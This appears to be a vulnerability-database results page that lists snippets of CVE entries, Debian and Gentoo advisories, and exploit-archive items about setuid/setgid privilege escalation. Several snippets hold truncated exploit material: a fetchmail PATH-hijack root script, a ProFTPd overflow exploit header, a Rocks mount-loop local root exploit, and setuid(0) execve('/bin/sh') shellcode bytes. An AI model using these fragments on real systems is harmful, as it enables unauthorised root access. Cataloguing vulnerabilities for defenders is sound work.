DEBIAN-CVE-2007-5191

mount and umount in util-linux and loop-aes-utils call the setuid and setgid functions in the wrong order and do not check the return values, which might allow attackers to gain privileges via helpers such as mount.nfs...

CVE-2007-5191

mount and umount in util-linux and loop-aes-utils call the setuid and setgid functions in the wrong order and do not check the return values, which might allow attackers to gain privileges via helpers such as mount.nfs...

CVE-2007-5191: Unchecked Return Value

mount and umount in util-linux and loop-aes-utils call the setuid and setgid functions in the wrong order and do not check the return values, which might allow attackers to gain privileges via helpers such as mount.nfs...

CVE-2003-1324: Undefined Security Weakness

Race condition in the canopen function in Elm ME+ 2.4, when installed setgid mail and the operating system lacks POSIX saved ID support, allows local users to read and modify certain files with the privileges of the mail group...

ProFTPd 1.3.01.3.0a - mod_ctrls support Local Buffer Overflow (1)

ProFTPd 1.3.01.3.0a - modctrls support Local Buffer Overflow 1 !/usr/bin/perl -w $Id: revengeproftpdctrls24.pl, v1.0 2007/02/18 19:24:22 revenge Exp $ ProFTPD v1.3.0/1.3.0a Controls Buffer Overflow Exploit Old style school sploit against gcc 3.x and linux kernel 2.4 Original Advisory :...

Izik : Reverse Engineering with LD_PRELOAD

July, 06 2005г.| Izik Reverse Engineering with LDPRELOAD This paper is about the LDPRELOAD feature, and how it can be useful for reverse engineering dynamically linked executables. This technique allows you to hijack functions/inject code and manipulate the application flow. Compiling Methods...

DEBIAN-CVE-2006-6008

ftpd in Linux Netkit linux-ftpd 0.17, and possibly other versions, does not check the return status of certain seteuid, setgid, and setuid calls, which might allow remote authenticated users to gain privileges if these calls fail in cases such as PAM failures or resource limits, a different...

CVE-2006-6008: Undefined Security Weakness

ftpd in Linux Netkit linux-ftpd 0.17, and possibly other versions, does not check the return status of certain seteuid, setgid, and setuid calls, which might allow remote authenticated users to gain privileges if these calls fail in cases such as PAM failures or resource limits, a different...

Xcode OpenBase 10.0.0 (OSX) - Unsafe System Call Privilege Escalation

Xcode OpenBase 10.0.0 OSX - Unsafe System Call Privilege Escalation !/usr/bin/perl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom \n\nTargets:\n\n"; foreach $key sortkeys %tgts $a,$b = split/:/,$tgts"$key"; print "\t$key . $a - $b\n"; print "\n"; exit 1; $ret =...

Debian DSA-895-1 : uim - programming error

Masanari Yamamoto discovered incorrect use of environment variables in uim, a flexible input method collection and library, that could lead to escalated privileges in setuid/setgid applications linked to libuim. Affected in Debian is at least mlterm. %NASLMINLEVEL 70300 C Tenable Network Security...

openmovieeditor 0.0.20060901 - name Local Buffer Overflow

openmovieeditor 0.0.20060901 - name Local Buffer Overflow / openmovieeditor buffer overflow exploit by qnix envt/envt -s 2 Shellcode: linux/x86 setuid0,setgid0 execve/bin/sh, /bin/sh, NULL 37 bytes + Setting memory for the shellcode. + Copying shellcode to memory. + Putting shellcode in the...

openmovieeditor 0.0.20060901 - 'name' Local Buffer Overflow

/ openmovieeditor buffer overflow exploit by qnix envt/envt -s 2 Shellcode: linux/x86 setuid0,setgid0 execve/bin/sh, /bin/sh, NULL 37 bytes + Setting memory for the shellcode. + Copying shellcode to memory. + Putting shellcode in the environment. + Going into the environment ENVT and exiting...

Apple Mac OSX 10.4.7 - fetchmail Privilege Escalation

!/bin/sh http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom Previously undisclosed local fetchmail issue. This takes setgid=6 http://docs.info.apple.com/article.html?artnum=106704 export PATH=/tmp:$PATH echo /bin/sh -i /tmp/uname chmod +x /tmp/uname /usr/bin/fetchmail -V...

rocksmountdirty.txt

!/bin/sh rocksmountdirty.sh: Rocks release =4.1 local root exploit make sure 'mount-loop' is in your path for this to work. coded by: [email protected] http://xavsec.blogspot.com echo "Rocks Clusters =4.1 mount-loop local root exploit by [email protected] http://xavsec.blogspot.com" echo...

Super Junior Linux Backdoor method of making-a vulnerability warning-the black bar safety net

A file has an owner, indicating that the file who is create. At the same time, the file there is a group number, indicating that the file belongs to the group, typically the owner of the file belongs to the group. If it is an executable file, then in the implementation, generally the file only ha...

linux/x86 setuid(0) setgid(0) execve(/bin/sh [/bin/sh NULL]) 37 bytes

No description provided by source. / Linux/x86 setuid0 + setgid0 + execve"/bin/sh", "/bin/sh", NULL - 37 bytes - [email protected] / char shellcode = "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx, %ebx "\xcd\x80" // int $0x80 "\x6a\x2e" // push $0x2e "\x58" // pop %eax "\x53" ...

linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh, NULL]) 37 bytes

Exploit for linux/x86 platform in category shellcode ======================================================================= linux/x86 setuid0,setgid0 execve/bin/sh, /bin/sh, NULL 37 bytes ======================================================================= / Linux/x86 setuid0 + setgid0 +...

CVE-2005-4741: Undefined Security Weakness

NetBSD 1.6, NetBSD 2.0 through 2.1, and NetBSD-current before 20051031 allows local users to gain privileges by attaching a debugger to a setuid/setgid PSUGID process that performs an exec without a reset of real credentials...

[SECURITY] [DSA 976-1] New libast packages fix arbitrary code execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 976-1 [email protected] http://www.debian.org/security/ Martin Schulze February 15th, 2006 http://www.debian.org/security/faq -...

GLSA-200601-14 : LibAST: Privilege escalation

The remote host is affected by the vulnerability described in GLSA-200601-14 LibAST: Privilege escalation Michael Jennings discovered an exploitable buffer overflow in the configuration engine of LibAST. Impact : The vulnerability can be exploited to gain escalated privileges if the application...